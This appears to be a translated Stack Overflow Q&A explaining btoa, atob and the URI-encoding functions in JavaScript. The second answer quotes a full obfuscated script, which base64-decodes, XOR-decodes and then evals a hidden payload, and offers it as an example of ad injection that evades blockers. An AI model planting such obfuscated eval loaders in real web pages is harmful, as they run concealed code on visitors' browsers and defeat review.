何时使用btoa(),atob(),encodeURIComponent()和decodeURIComponent()?

时间:2017-09-13 20:49:46

标签: javascript browser encoding

你什么时候使用:

它们是否应该一起使用,例如:

atob(encodeURIComponent(...))

如果没有,何时使用btoa()atob()以及何时使用encodeURIComponent()decodeURIComponent()

2 个答案:

答案 0 :(得分:5)

btoa()以base-64格式对一串二进制数据进行编码。最常见的用途是从文件内容创建data: URI(例如,将JPEG或GIF文件转换为直接合并到页面中的data: URI,而不是引用远程文件)。

atob()执行相反的操作:给定base-64字符串,它返回二进制数据。

encodeURIComponent()用于对将在URI中使用的字符串执行URL编码。这会将URI中具有特殊含义的字符转换为%,后跟十六进制编码,例如空间变为%20。这通常在创建将在重定向或AJAX请求中使用的URL参数或将在XMLHTTPRequest.send()中发送的数据时使用。

decodeURIComponent()执行与encodeURIComponent()相反的操作,因此如果您"foo%20bar",则会返回"foo bar"

您需要将URL编码和base-64一起用于同一个字符串,这是非常罕见的。

答案 1 :(得分:0)

这并不罕见。它用于克服广告拦截器并通过防火墙规则在页面中插入不良广告。检查一下:

<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>